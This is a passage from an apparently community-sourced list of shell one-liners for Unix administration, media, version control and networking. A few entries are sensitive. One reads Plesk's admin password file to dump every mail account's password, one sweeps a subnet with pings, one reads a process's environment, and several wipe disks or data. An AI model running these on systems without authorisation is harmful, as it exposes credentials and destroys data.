5468# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
5469dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
5470
5471# Quick notepad
5472cat > list -
5473
5474# Postpone a command [zsh]
5475<alt+q>
5476
5477# Counts number of lines (in source code excluding comments)
5478find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
5479
5480# List your largest installed packages (on Debian/Ubuntu)
5481dpigs
5482
5483# What is my ip?
5484curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
5485
5486# grep -v with multiple patterns.
5487sed -n '/test/{/error\|critical\|warning/d;p}' somefile
5488
5489# Empty a file
5490truncate -s0 file
5491
5492# Set creation timestamp of a file to the creation timestamp of another
5493touch -r "$FILE1" "$FILE2"
5494
5495# Commit command to history file immedeately after execution
5496PROMPT_COMMAND="history -a"
5497
5498# Restore a local drive from the image on remote host via ssh
5499ssh user@server 'dd if=sda.img' | dd of=/dev/sda
5500
5501# Make directories for and mount all iso files in a folder
5502for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
5503
5504# disk space email alert
5505[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com
5506
5507# Get absolut path to your bash-script
5508script_path=$(cd $(dirname $0);pwd)
5509
5510# Stop long commands wrapping around and over-writing itself in the Bash shell
5511shopt -s checkwinsize
5512
5513# download all the presentations from UTOSC2009
5514b="http://2009.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
5515
5516# Functions to display, save and restore $IFS
5517ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
5518
5519# Outputs a 10-digit random number
5520head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
5521
5522# print crontab entries for all the users that actually have a crontab
5523for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
5524
5525# mysql DB size
5526mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
5527
5528# Force an fsck on reboot
5529shutdown -rF now
5530
5531# Get a MySQL DB dump from a remote machine
5532ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
5533
5534# Encrypted archive with openssl and tar
5535openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
5536
5537# concatenate avi files
5538avimerge -o output.avi -i file1.avi file2.avi file3.avi
5539
5540# Go get those photos from a Picasa album
5541wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
5542
5543
5544
5545# Disable beep sound from your computer
5546echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
5547
5548# limit the cdrom driver to a specified speed
5549eject -x 8 /dev/cdrom
5550
5551# Randomize lines (opposite of | sort)
5552random -f <file>
5553
5554# ping a host until it responds, then play a sound, then exit
5555beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
5556
5557# Sum size of files returned from FIND
5558find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
5559
5560# record the input of your sound card into ogg file
5561rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
5562
5563# Test a serial connection
5564host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
5565
5566# Show current pathname in title of terminal
5567export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
5568
5569# print all except first collumn
5570cut -f 2- -d " "
5571
5572# Search for a <pattern> string inside all files in the current directory
5573find . -type f -exec grep -i <pattern> \;
5574
5575# Find and display most recent files using find and perl
5576find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
5577
5578# create SQL-statements from textfile with awk
5579$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
5580
5581# Send a local file via email
5582cat filename | mail -s "Email subject" user@example.com
5583
5584# Track X Window events in chosen window
5585xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
5586
5587# Test file system performance
5588bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
5589
5590# (Git) Revert files with changed mode, not content
5591git diff --numstat | awk '{if ($1 == "0" && $1 == "0") print $3}' | xargs git checkout HEAD
5592
5593# Instant mirror from your laptop + webcam
5594mplayer tv:// -vf mirror
5595
5596# Instant mirror from your laptop + webcam
5597cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
5598
5599# Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
5600curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
5601
5602# Archive all SVN repositories in platform indepenent form
5603budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
5604
5605# Archive all SVN repositories in platform indepenent form
5606find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
5607
5608# Record audio and video from webcam using ffmpeg
5609ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
5610
5611# Setting reserved blocks percentage to 1%
5612sudo tune2fs -m 1 /dev/sda4
5613
5614# preprocess code to be posted in comments on this site
5615sed 's/^/$ /' "$script" | xclip
5616
5617# List symbols from a dynamic library (.so file)
5618nm --dynamic <libfile.so>
5619
5620
5621
5622# send echo to socket network
5623echo foo | netcat 192.168.1.2 25
5624
5625# Display the standard deviation of a column of numbers with awk
5626awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
5627
5628# Convert a flv video file to avi using mencoder
5629mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi
5630
5631# Compute running average for a column of numbers
5632awk '{avg += ($1 - avg) / NR;} END { print avg; }'
5633
5634# Route outbound SMTP connections through a addtional IP address rather than your primary
5635iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
5636
5637# Check if x509 certificate file and rsa private key match
5638diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
5639
5640# Detect encoding of a text file
5641file -i <textfile>
5642
5643# Clone IDE Hard Disk
5644sudo dd if=/dev/hda1 of=/dev/hdb2
5645
5646# Send a signed and encrypted email from the command line
5647echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
5648
5649# get colorful side-by-side diffs of files in svn with vim
5650vimdiff <(svn cat "$1") "$1"
5651
5652# fetch all revisions of a specific file in an SVN repository
5653svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
5654
5655# Ultimate current directory usage command
5656du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
5657
5658# Start a terminal with three open tabs
5659gnome-terminal --tab --tab --tab
5660
5661# Edit all files found having a specific string found by grep
5662grep -Hrli 'foo' * | xargs vim
5663
5664# floating point operations in shell scripts
5665bc -l <<< s(3/5)
5666
5667# Reinstall Grub
5668sudo grub-install --recheck /dev/sda1
5669
5670# Print all fields in a file/output from field N to the end of the line
5671cut -f N- file.dat
5672
5673# convert mp3 into mb4 (audiobook format)
5674mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -
5675
5676# A snooze button for xmms2 alarm clock
5677xmms2 pause && echo "xmms2 play" | at now +5min
5678
5679# dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
5680dstat -afv
5681
5682# get diskusage of files modified during the last n days
5683sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
5684
5685# Download entire commandlinefu archive to single file
5686for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
5687
5688# Debian: Mark all dependent packages as manualy installed.
5689sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
5690
5691# An alarm clock using xmms2 and at
5692echo "xmms2 play" | at 6:00
5693
5694# Parallel mysql dump restore
5695find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
5696
5697
5698
5699# convert strings toupper/tolower with tr
5700echo "aBcDeFgH123" | tr a-z A-Z
5701
5702# resume scp-filetransfer with rsync
5703rsync --partial --progress --rsh=ssh user@host:remote-file local-file
5704
5705# Unaccent an entire directory tree with files.
5706find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
5707
5708# Make a ready-only filesystem ?writeable? by unionfs
5709mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
5710
5711# Verbosely delete files matching specific name pattern, older than 15 days.
5712rm -vf /backup/directory/**/FILENAME_*(m+15)
5713
5714# Ping sweep without NMAP
5715for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
5716
5717# Show account security settings
5718chage -l <user>
5719
5720# Search for an active process without catching the search-process
5721ps -ef | awk '/process-name/ && !/awk/ {print}'
5722
5723# Read aloud a text file in Ubuntu (and other Unixes with espeak installed
5724espeak -f text.txt
5725
5726# Read aloud a text file in Mac OS X
5727say -f file.txt
5728
5729# diff will usually only take one file from STDIN. This is a method to take the result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.
5730diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
5731
5732# total text files in current dir
5733file -i * | grep -c 'text/plain'
5734
5735# Compress blank lines in VIM
5736:g/^\s*$/,/\S/-j|s/.*//
5737
5738# Lists the size of certain file in every 10 seconds
5739watch -n 10 'du -sk testfile'
5740
5741# show the real times iso of epochs for a given column
5742perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
5743
5744# Preview of a picture in a terminal
5745img test.jpg
5746
5747# Get info on RAM Slots and Max RAM.
5748dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
5749
5750# Sum columns from CSV column $COL
5751perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv
5752
5753# Testing php configuration
5754php -r phpinfo();
5755
5756# Count the number of pages of all PDFs in current directory and all subdirs, recursively
5757find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
5758
5759# Replace Every occurrence of a word in a file
5760perl -p -i -e 's/this/that/g' filename
5761
5762# Update program providing java on Debian
5763update-java-alternatives
5764
5765# Get a list of all your VirtualBox virtual machines by name and UUID from the shell
5766VBoxManage list vms
5767
5768# run a VirtualBox virtual machine without a gui
5769VBoxHeadless -s <name|uuid>
5770
5771# Generate random password
5772randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
5773
5774
5775
5776# Get your internal IP address and nothing but your internal IP address
5777ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
5778
5779# Delete empty directories with zsh
5780rm -d **/*(/^F)
5781
5782# Tweet from Terminal to twitter !
5783curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml
5784
5785# Quick key/value display within /proc or /sys
5786grep -r . /sys/class/net/eth0/statistics
5787
5788# Use Linux coding style in C program
5789indent -linux helloworld.c
5790
5791# echo something backwards
5792echo linux|rev
5793
5794# Nicely display permissions in octal format with filename
5795stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
5796
5797# Delete all aliases for a network interface on a (Free)BSD system
5798ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
5799
5800# Show log message including which files changed for a given commit in git.
5801git --no-pager whatchanged -1 --pretty=medium <commit_hash>
5802
5803# Copy with progress
5804copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}
5805
5806# Grab all .flv files from a webpage to the current working directory
5807wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
5808
5809# from the console, start a second X server
5810xinit -- :1
5811
5812# cooking a list of numbers for calculation
5813echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
5814
5815# Force hard reset on server
5816echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
5817
5818# ISO info
5819isoinfo -d -i filename.iso
5820
5821# rename a file to its md5sum
5822md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
5823
5824# Make shell (script) low priority. Use for non interactive tasks
5825renice 19 -p $$
5826
5827# Mount iso to /mnt on Solaris
5828mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
5829
5830# Make ogg file from wav file
5831oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
5832
5833# Buffer in order to avoir mistakes with redirections that empty your files
5834buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
5835
5836# Change to $HOME - zsh, bash4
5837~
5838
5839# Run skype using your GTK theme
5840skype --disable-cleanlooks -style GTK
5841
5842# Pick a random line from a file
5843sort -R file.txt | head -1
5844
5845# Simple XML tag extract with sed
5846sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
5847
5848# Display screen window number in prompt
5849[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
5850
5851
5852
5853# Convert numbers to SI notation
5854$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
5855
5856# get delicious bookmarks on your shell (text version :-))
5857curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
5858
5859# Matrix Style
5860while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
5861
5862# restart apache only if config works
5863alias restart='apache2ctl configtest && apache2ctl restart'
5864
5865# List apache2 virtualhosts
5866/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
5867
5868# OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
5869pbpaste | tidy -xml -wrap 0 | pbcopy
5870
5871# this toggles mute on the Master channel of an alsa soundcard
5872amixer sset Master toggle
5873
5874# whois surfing my web ?
5875watch lsof -i :80
5876
5877# Single Line Twitter-Tracker
5878WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done
5879
5880# git remove files which have been deleted
5881git ls-files -z --deleted | xargs -0 git rm
5882
5883# find out which directories in /home have the most files currently open
5884lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
5885
5886# Hear the mice moving
5887while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
5888
5889# write text or append to a file
5890cat <<.>> somefilename
5891
5892# Printing multiple years with Unix cal command
5893for y in $(seq 2009 2011); do cal $y; done
5894
5895# Alternative size (human readable) of files and directories (biggest last)
5896du -ms * | sort -nk1
5897
5898# cat large file to clipboard with speed-o-meter
5899pv large.xml | xclip
5900
5901# Remove annoying files from recently extracted zip archive
5902unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
5903
5904# Puts every word from a file into a new line
5905tr ' \t' '\n' <INFILE >OUTFILE
5906
5907# find files larger than 1 GB, everywhere
5908find / -type f -size +1000000000c
5909
5910# Resume an emerge, and keep all object files that are already built
5911FEATURES=keepwork emerge --resume
5912
5913# Throttling Bandwidth On A Mac
5914sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
5915
5916# Dump the root directory to an external hard drive
5917dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
5918
5919# Using netcat to copy files between servers
5920On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
5921
5922# Dump a configuration file without comments or whitespace...
5923grep -v "\ *#\|^$" /etc/path/to.config
5924
5925# c_rehash replacement
5926for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
5927
5928
5929
5930# Check if filesystem hangs
5931ls /mnt/badfs &
5932
5933# Trim linebreaks
5934cat myfile.txt | tr -d '\n'
5935
5936# SVN Status log to CSV
5937svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
5938
5939# Monitor RX/TX packets and any subsquent errors
5940watch 'netstat -aniv'
5941
5942# Most simple way to get a list of open ports
5943netstat -lnp
5944
5945# Merge several pdf files into a single file
5946pdftk $* cat output $merged.pdf
5947
5948# Get lines count of a list of files
5949find . -name "*.sql" -print0 | wc -l --files0-from=-
5950
5951# Given application name print its environment variables
5952sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
5953
5954# Deleting Files from svn which are missing
5955svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
5956
5957# Record a webcam output into a video file.
5958ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
5959
5960# %s across multiple files with Vim
5961:set nomore :argdo %s/foo/bar/g | update
5962
5963# import gpg key from the web
5964curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
5965
5966# Give any files that don't already have it group read permission under the current folder (recursive)
5967find . -type f ! -perm /g=r -exec chmod g+r {} +
5968
5969# Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file
5970find . -type f -name *.ext -exec cat {} > file.txt \;
5971
5972# Lists unambigously names of all xml elements used in files in current directory
5973grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
5974
5975# Search and replace text in all php files with ruby
5976ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
5977
5978# Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
5979perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
5980
5981# extract all urls from firefox sessionstore
5982sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
5983
5984# Show all usernames and passwords for Plesk email addresses
5985mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
5986
5987# Display or use a random file from current directory via a small bash one-liner
5988$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
5989
5990# Convert AVI to iPhone MP4
5991ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
5992
5993# Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0"
5994watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
5995
5996# swap stdout and stderr
5997$command 3>&1 1>&2 2>&3
5998
5999# ncdu - ncurses disk usage
6000ncdu directory_name
6001
6002# Run a bash script in debug mode, show output and save it on a file
6003bash -x script.sh 2> log
6004
6005
6006
6007# files and directories in the last 1 hour
6008find ./* -ctime -1 | xargs ls -ltr --color
6009
6010# Non Numeric Check
6011if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
6012
6013# Find chronological errors or bad timestamps in a Subversion repository
6014URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
6015
6016# resolve hostname to IP our vice versa with less output
6017resolveip -s www.freshmeat.net
6018
6019# Remove all mail in Postfix mail queue.
6020postsuper -d ALL
6021
6022# Scrollable Colorized Long Listing - Hidden Files Sorted Last
6023less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
6024
6025# Awk: Perform a rolling average on a column of data
6026awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
6027
6028# grep across a git repo and open matching files in gedit
6029git grep -l "your grep string" | xargs gedit
6030
6031# Replace all tabs with spaces in an application
6032grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
6033
6034# Convert string to uppercase
6035echo string | tr '[:lower:]' '[:upper:]'
6036
6037# List of directories sorted by number of files they contain.
6038sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)
6039
6040# fetch all revisions of a specific file in an SVN repository
6041svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
6042
6043# mplayer -af scaletempo
6044mplayer -af scaletempo -speed 1.5 file.avi
6045
6046# extracting audio and video from a movie
6047ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
6048
6049# Extract track 9 from a CD
6050mplayer -fs cdda://9 -ao pcm:file=track9.wav
6051
6052# Word-based diff on reformatted text files
6053diff -uw <(fmt -1 {file1, file2})
6054
6055# Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
6056Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
6057
6058# using scanner device from command line
6059scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
6060
6061# reduce mp3 bitrate (and size, of course)
6062lame --mp3input -m m --resample 24 input.mp3
6063
6064# extract audio from flv to mp3
6065ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
6066
6067# Lists the supported memory types and how much your board can support.
6068sudo dmidecode -t 5,16
6069
6070# Update a tarball
6071tar -tf file.tar | tar -T - -uf file.tar
6072
6073# get a process list by listen port
6074netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1
6075
6076# find string into one pdf file
6077find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
6078
6079# user 'tr' to convert mixed case in a file to lower case
6080tr "[:upper:]" "[:lower:]" < file
6081
6082
6083
6084# Backup your OpenWRT config (only the config, not the whole system)
6085curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
6086
6087# Email HTML content
6088mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
6089
6090# convert all files in a dir of a certain type to flv
6091for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
6092
6093# Validate date, also a date within a leap year
6094date -d2009-05-18 > /dev/null 2>&1 ; echo $?
6095
6096# remove audio trac from a video file
6097mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
6098
6099# copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
6100find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
6101
6102# Updating the status on identi.ca using curl.
6103curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
6104
6105# Make a directory named with the current date
6106mkdir `date --iso`
6107
6108# Duplicating service runlevel configurations from one server to another.
6109chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
6110
6111# add files to existing growable DVD using growisofs
6112growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
6113
6114# Find and delete oldest file of specific types in directory tree
6115find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
6116
6117# Remove all backup files in my home directory
6118find ~user/ -name "*~" -exec rm {} \;
6119
6120# Get an IP address out of fail2ban jail
6121iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
6122
6123# Safe Delete
6124shred -n33 -zx file; rm file
6125
6126# Search for files older than 30 days in a directory and list only their names not the full path
6127find /var/www/html/ -type f -mtime +30 -exec basename {} \;
6128
6129# split source code to page with numbers
6130pr -l 40 bitree.c > printcode; split -40 printcode -d page_
6131
6132# Pick a random image from a directory (and subdirectories) every thirty minutes and set it as xfce4 wallpaper
6133while true; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
6134
6135# Change wallpaper for xfce4 >= 4.6.0
6136xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
6137
6138# Prevent non-root users from logging in
6139touch /etc/nologin
6140
6141# Display time of accounts connection on a system
6142ac -p
6143
6144# Change Gnome wallpaper
6145gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
6146
6147# Split lossless audio (ape, flac, wav, wv) by cue file
6148cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
6149
6150# Connect to all running screen instances
6151for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
6152
6153# compare two Microsoft Word documents
6154meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
6155
6156# Mount important virtual system directories under chroot'ed directory
6157for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
6158
6159
6160
6161# Set Time Zone in Ubuntu
6162sudo dpkg-reconfigure tzdata
6163
6164# Burn CD/DVD from an iso, eject disc when finished.
6165cdrecord dev=0,0,0 -v -eject yourimage.iso
6166
6167# convert plain .avi movies to .mpeg
6168ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
6169
6170# Summarise the size of all files matching a simple regex
6171find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
6172
6173# Recursively Add Changed Files to Subversion
6174svn status | grep "^\?" | awk '{print $2}' | xargs svn add
6175
6176# Root shell
6177sudo -i
